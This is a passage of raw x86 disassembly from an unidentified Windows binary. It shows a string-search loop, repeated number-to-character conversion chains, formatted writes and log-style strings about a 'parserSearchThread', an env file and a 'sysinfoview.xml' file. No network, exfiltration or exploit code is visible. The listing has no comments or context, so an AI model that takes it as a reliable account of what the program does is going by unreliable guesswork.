jl 0x408267
cmp eax, 0x800
jg 0x408267
mov ecx, 0x100
lea edi, [ebp - 0xc90]
rep stosd dword es:[edi], eax
lea edi, [eax - 1]
xor ecx, ecx
test edi, edi
jle 0x4081b4
mov edx, edi
nop dword [eax + eax]
movzx eax, byte [ecx + str._MinimumNumberOfValues_]
inc ecx
mov dword [ebp + eax*4 - 0xc90], edx
dec edx
cmp ecx, edi
jl 0x4081a0
mov dl, byte [edi + str._MinimumNumberOfValues_]
mov esi, edi
mov byte [ebp - 0xed1], dl
mov eax, dword [ebp - 0xf1c]
add eax, esi
mov cl, byte [eax]
mov byte [ebp - 0xed2], cl
cmp cl, dl
jne 0x408223
test edi, edi
je 0x40825b
mov eax, dword [ebp - 0xf1c]
lea edx, [esi - 1]
lea ecx, [edi - 1]
mov al, byte [edx + eax]
cmp al, byte [ecx + str._MinimumNumberOfValues_]
jne 0x40820d
mov eax, dword [ebp - 0xf1c]
test ecx, ecx
je 0x408251
mov al, byte [edx + eax - 1]
dec edx
dec ecx
cmp al, byte [ecx + str._MinimumNumberOfValues_]
je 0x4081f5
mov eax, dword [ebp - 0xed8]
test eax, eax
jne 0x408261
mov cl, byte [ebp - 0xed2]
mov dl, byte [ebp - 0xed1]
movzx eax, cl
add esi, dword [ebp + eax*4 - 0xc90]
cmp esi, 0x800
jl 0x4081c2
jmp 0x408261
add eax, edx
mov dword [ebp - 0xef4], eax
jmp 0x408062
mov edi, eax
mov dword [ebp - 0xef4], edi
jmp 0x40808e
add eax, edx
mov dword [ebp - 0xed8], eax
jmp 0x408213
mov dword [ebp - 0xed8], eax
mov edi, dword [ebp - 0xef4]
push str._publicKeyToken_
push dword [ebp - 0xf3c]
push dword [ebp - 0xf14]
call fcn.004040e0
push dword [0x4522cc]
mov esi, eax
mov dword [0x43e8e4], 0
lea eax, [ebp - 0xcc0]
mov dword [0x43e8e0], 0
push str._02d
push eax
mov dword [0x43e8dc], 0x1e
mov dword [0x43e8d8], 9
call dword [ebp - 0xf2c]
movups xmm0, xmmword [0x430330]
mov eax, dword [ebp - 0xf58]
add esp, 0xc
mov ecx, dword [ebp - 0xed8]
movups xmmword [eax], xmm0
movq xmm0, qword [0x430340]
movq qword [eax + 0x10], xmm0
movzx eax, word [ebp - 0xcc0]
mov word [ecx], ax
movups xmm0, xmmword [0x452218]
mov ecx, dword [ebp - 0xf2c]
movups xmmword [esi], xmm0
movups xmm0, xmmword [0x452228]
movups xmmword [esi + 0x10], xmm0
mov eax, dword [0x452238]
mov dword [esi + 0x20], eax
movzx eax, word [0x45223c]
mov word [esi + 0x24], ax
mov al, byte [0x45223e]
mov byte [esi + 0x26], al
jmp 0x4083a5
cmp eax, 1
je 0x40833d
cmp dword [0x43e8e4], 0
je 0x408347
jmp 0x4083a5
mov dword [0x43e8d4], 0
movups xmm0, xmmword [str._Threshold_K__Threshold_]
mov dword [ebp - 0xed8], 0x72656269
mov eax, dword [ebp - 0xed8]
movups xmmword [esi], xmm0
mov dword [0x43e8e4], 0
movq xmm0, qword [0x43006c]
movq qword [esi + 0x10], xmm0
mov dword [0x43e8e0], 0
mov dword [0x43e8d0], 5
mov dword [0x43e8ec], 5
mov dword [0x450a88], 5
mov dword [0x45095f], eax
push dword [0x43e8d4]
lea eax, [ebp - 0xcc0]
push str._02d
push eax
call ecx
mov ecx, dword [ebp - 0xedc]
add esp, 0xc
mov ax, word [ebp - 0xcc0]
mov word [ecx + 0x17], ax
mov ecx, dword [0x43e8e4]
mov eax, dword [ebp - 0xf20]
mov dword [ebp - 0xee0], ecx
cmp ecx, 0x1e
jne 0x4083eb
mov dl, 0x55
jmp 0x4084c2
cmp ecx, 0x1d
jne 0x4083f7
mov dl, 0x54
jmp 0x4084c2
cmp ecx, 0x1c
jne 0x408403
mov dl, 0x53
jmp 0x4084c2
cmp ecx, 0x1b
jne 0x40840f
mov dl, 0x52
jmp 0x4084c2
cmp ecx, 0x1a
jne 0x40841b
mov dl, 0x51
jmp 0x4084c2
cmp ecx, 0x19
jne 0x408427
mov dl, 0x50
jmp 0x4084c2
cmp ecx, 0x18
jne 0x408433
mov dl, 0x4f
jmp 0x4084c2
cmp ecx, 0x17
jne 0x40843f
mov dl, 0x4e
jmp 0x4084c2
cmp ecx, 0x16
jne 0x40844b
mov dl, 0x4d
jmp 0x4084c2
cmp ecx, 0x15
jne 0x408457
mov dl, 0x4c
jmp 0x4084c2
cmp ecx, 0x14
jne 0x408463
mov dl, 0x4b
jmp 0x4084c2
cmp ecx, 0x13
jne 0x40846c
mov dl, 0x4a
jmp 0x4084c2
cmp ecx, 0x12
jne 0x408475
mov dl, 0x49
jmp 0x4084c2
cmp ecx, 0x11
jne 0x40847e
mov dl, 0x48
jmp 0x4084c2
cmp ecx, 0x10
jne 0x408487
mov dl, 0x47
jmp 0x4084c2
cmp ecx, 0xf
jne 0x408490
mov dl, 0x46
jmp 0x4084c2
cmp ecx, 0xe
jne 0x408499
mov dl, 0x45
jmp 0x4084c2
cmp ecx, 0xd
jne 0x4084a2
mov dl, 0x44
jmp 0x4084c2
cmp ecx, 0xc
jne 0x4084ab
mov dl, 0x43
jmp 0x4084c2
cmp ecx, 0xb
jne 0x4084b4
mov dl, 0x42
jmp 0x4084c2
cmp ecx, 0xa
jne 0x4084bd
mov dl, 0x41
jmp 0x4084c2
mov dl, cl
add dl, 0x30
mov byte [eax + 0x17], dl
mov eax, dword [0x43e8dc]
mov edx, dword [ebp - 0xf0c]
cmp eax, 0x1e
jne 0x4084e1
mov byte [ebp - 0xed1], 0x55
jmp 0x40862c
cmp eax, 0x1d
jne 0x4084f2
mov byte [ebp - 0xed1], 0x54
jmp 0x40862c
cmp eax, 0x1c
jne 0x408503
mov byte [ebp - 0xed1], 0x53
jmp 0x40862c
cmp eax, 0x1b
jne 0x408514
mov byte [ebp - 0xed1], 0x52
jmp 0x40862c
cmp eax, 0x1a
jne 0x408525
mov byte [ebp - 0xed1], 0x51
jmp 0x40862c
cmp eax, 0x19
jne 0x408536
mov byte [ebp - 0xed1], 0x50
jmp 0x40862c
cmp eax, 0x18
jne 0x408547
mov byte [ebp - 0xed1], 0x4f
jmp 0x40862c
cmp eax, 0x17
jne 0x408558
mov byte [ebp - 0xed1], 0x4e
jmp 0x40862c
cmp eax, 0x16
jne 0x408569
mov byte [ebp - 0xed1], 0x4d
jmp 0x40862c
cmp eax, 0x15
jne 0x40857a
mov byte [ebp - 0xed1], 0x4c
jmp 0x40862c
cmp eax, 0x14
jne 0x40858b
mov byte [ebp - 0xed1], 0x4b
jmp 0x40862c
cmp eax, 0x13
jne 0x40859c
mov byte [ebp - 0xed1], 0x4a
jmp 0x40862c
cmp eax, 0x12
jne 0x4085ad
mov byte [ebp - 0xed1], 0x49
jmp 0x40862c
cmp eax, 0x11
jne 0x4085be
mov byte [ebp - 0xed1], 0x48
jmp 0x40862c
cmp eax, 0x10
jne 0x4085cf
mov byte [ebp - 0xed1], 0x47
jmp 0x40862c
cmp eax, 0xf
jne 0x4085dd
mov byte [ebp - 0xed1], 0x46
jmp 0x40862c
cmp eax, 0xe
jne 0x4085eb
mov byte [ebp - 0xed1], 0x45
jmp 0x40862c
cmp eax, 0xd
jne 0x4085f9
mov byte [ebp - 0xed1], 0x44
jmp 0x40862c
cmp eax, 0xc
jne 0x408607
mov byte [ebp - 0xed1], 0x43
jmp 0x40862c
cmp eax, 0xb
jne 0x408615
mov byte [ebp - 0xed1], 0x42
jmp 0x40862c
cmp eax, 0xa
jne 0x408623
mov byte [ebp - 0xed1], 0x41
jmp 0x40862c
lea ecx, [eax + 0x30]
mov byte [ebp - 0xed1], cl
mov cl, byte [ebp - 0xed1]
mov byte [edx + 0x10], cl
mov edx, dword [ebp - 0xf00]
mov cl, byte [0x43e8e0]
add cl, 0x30
mov byte [ebp - 0xed2], cl
mov byte [edx + 0x10], cl
mov cl, byte [0x43e8d8]
mov edx, dword [ebp - 0xf04]
add cl, 0x30
mov byte [ebp - 0xed1], cl
mov byte [edx + 0x10], cl
mov ecx, dword [ebp - 0xee0]
cmp ecx, 0x1e
jne 0x408677
mov cl, 0x55
jmp 0x40874c
cmp ecx, 0x1d
jne 0x408683
mov cl, 0x54
jmp 0x40874c
cmp ecx, 0x1c
jne 0x40868f
mov cl, 0x53
jmp 0x40874c
cmp ecx, 0x1b
jne 0x40869b
mov cl, 0x52
jmp 0x40874c
cmp ecx, 0x1a
jne 0x4086a7
mov cl, 0x51
jmp 0x40874c
cmp ecx, 0x19
jne 0x4086b3
mov cl, 0x50
jmp 0x40874c
cmp ecx, 0x18
jne 0x4086bf
mov cl, 0x4f
jmp 0x40874c
cmp ecx, 0x17
jne 0x4086cb
mov cl, 0x4e
jmp 0x40874c
cmp ecx, 0x16
jne 0x4086d7
mov cl, 0x4d
jmp 0x40874c
cmp ecx, 0x15
jne 0x4086e3
mov cl, 0x4c
jmp 0x40874c
cmp ecx, 0x14
jne 0x4086ef
mov cl, 0x4b
jmp 0x40874c
cmp ecx, 0x13
jne 0x4086f8
mov cl, 0x4a
jmp 0x40874c
cmp ecx, 0x12
jne 0x408701
mov cl, 0x49
jmp 0x40874c
cmp ecx, 0x11
jne 0x40870a
mov cl, 0x48
jmp 0x40874c
cmp ecx, 0x10
jne 0x408713
mov cl, 0x47
jmp 0x40874c
cmp ecx, 0xf
jne 0x40871c
mov cl, 0x46
jmp 0x40874c
cmp ecx, 0xe
jne 0x408725
mov cl, 0x45
jmp 0x40874c
cmp ecx, 0xd
jne 0x40872e
mov cl, 0x44
jmp 0x40874c
cmp ecx, 0xc
jne 0x408737
mov cl, 0x43
jmp 0x40874c
cmp ecx, 0xb
jne 0x408740
mov cl, 0x42
jmp 0x40874c
cmp ecx, 0xa
jne 0x408749
mov cl, 0x41
jmp 0x40874c
add cl, 0x30
mov byte [edi + 0x13], cl
cmp eax, 0x1e
jne 0x40875b
mov al, 0x55
jmp 0x40882f
cmp eax, 0x1d
jne 0x408767
mov al, 0x54
jmp 0x40882f
cmp eax, 0x1c
jne 0x408773
mov al, 0x53
jmp 0x40882f
cmp eax, 0x1b
jne 0x40877f
mov al, 0x52
jmp 0x40882f
cmp eax, 0x1a
jne 0x40878b
mov al, 0x51
jmp 0x40882f
cmp eax, 0x19
jne 0x408797
mov al, 0x50
jmp 0x40882f
cmp eax, 0x18
jne 0x4087a3
mov al, 0x4f
jmp 0x40882f
cmp eax, 0x17
jne 0x4087af
mov al, 0x4e
jmp 0x40882f
cmp eax, 0x16
jne 0x4087bb
mov al, 0x4d
jmp 0x40882f
cmp eax, 0x15
jne 0x4087c7
mov al, 0x4c
jmp 0x40882f
cmp eax, 0x14
jne 0x4087d3
mov al, 0x4b
jmp 0x40882f
cmp eax, 0x13
jne 0x4087dc
mov al, 0x4a
jmp 0x40882f
cmp eax, 0x12
jne 0x4087e5
mov al, 0x49
jmp 0x40882f
cmp eax, 0x11
jne 0x4087ee
mov al, 0x48
jmp 0x40882f
cmp eax, 0x10
jne 0x4087f7
mov al, 0x47
jmp 0x40882f
cmp eax, 0xf
jne 0x408800
mov al, 0x46
jmp 0x40882f
cmp eax, 0xe
jne 0x408809
mov al, 0x45
jmp 0x40882f
cmp eax, 0xd
jne 0x408812
mov al, 0x44
jmp 0x40882f
cmp eax, 0xc
jne 0x40881b
mov al, 0x43
jmp 0x40882f
cmp eax, 0xb
jne 0x408824
mov al, 0x42
jmp 0x40882f
cmp eax, 0xa
jne 0x40882d
mov al, 0x41
jmp 0x40882f
add al, 0x30
mov byte [edi + 0x17], al
lea ecx, [ebp - 0x490]
mov al, byte [ebp - 0xed2]
mov edx, dword [ebp - 0xf24]
mov byte [edi + 0x15], al
mov al, byte [ebp - 0xed1]
push 1
push dword [ebp - 0xf34]
mov byte [edi + 0x19], al
call fcn.00403b90
push 0
push 1
push str._parserSearchThread_________Loop_End_______________________d_:__d_
call fcn.00403960
add esp, 0x14
mov edi, dword [ebp - 0xf18]
mov edx, dword [ebp - 0xef8]
push edi
call fcn.00402190
mov esi, eax
lea eax, [ebp - 0xcc0]
push esi
push str._08X
push eax
call dword [ebp - 0xf2c]
add esp, 0xc
mov dword [0x450a80], esi
lea eax, [ebp - 0x290]
push eax
push edi
push str._parserSearchThread_________EnvFile_________UpdWrite_______d___s_
call fcn.00403840
add esp, 0xc
lea ecx, [ebp - 0x290]
mov edx, edi
push 1
push dword [ebp - 0xef8]
call fcn.00403b90
lea eax, [ebp - 0x290]
push eax
push edi
push str._parserSearchThread_________EnvFile_________UpdWrite_______d___s_
call fcn.00403840
add esp, 0x14
lea eax, [ebp - 0xed0]
push 0x100
push eax
push 0xffffffffffffffff
push str.sysinfoview.xml
push 0
push 1
call dword [ebp - 0xf48]
lea eax, [ebp - 0xed0]
push eax
push 0x4519f8
lea eax, [ebp - 0x290]
push 0x42f890
push eax
call dword [ebp - 0xf40]
lea eax, [ebp - 0x290]
push eax
push esi
push str._parserSearchThread_________FirstRunFile____11111__________08X___s_
call fcn.00403840
add esp, 0x1c
lea ecx, [ebp - 0x290]
mov edx, esi
push 0
call fcn.0040adf0
push dword [ebp - 0xf34]
call fcn.0041d5e5
add esp, 4
push dword [ebp - 0xef8]
call fcn.0041d5e5
add esp, 4
push 0x450d74
push 0x450d84
push str._parserSearchThread_________InitRunTime____________________s____s_
call fcn.00403960
add esp, 0xc
push str._parserSearchThread_________End__________
call fcn.00403840
add esp, 4
push dword [0x43e8c8]
push str._parserSearchThread_________fcret__________________________d_
call fcn.00403840
mov eax, dword [ebp - 0xf4c]
add esp, 8
mov esi, dword [ebp - 0xefc]
cmp eax, 1
je 0x4089b3
cmp eax, 2
je 0x4089b3
cmp eax, 3
je 0x4089b3
push esi
call fcn.0042083e
add esp, 4
cmp dword [ebp - 0xfd4], 0
je 0x408a13
push dword [ebp - 0xf70]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push dword [ebp - 0xfd4]
push 0
call edi
push eax
call esi
xor esi, esi
cmp dword [ebp - 0xfd8], esi
jle 0x408a0b
nop dword [eax]
push dword [ebp + esi*4 - 0xfd0]
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
inc esi
cmp esi, dword [ebp - 0xfd8]
jl 0x4089f0
mov eax, dword [ebp - 0xefc]
jmp 0x408a15
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041d3d1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4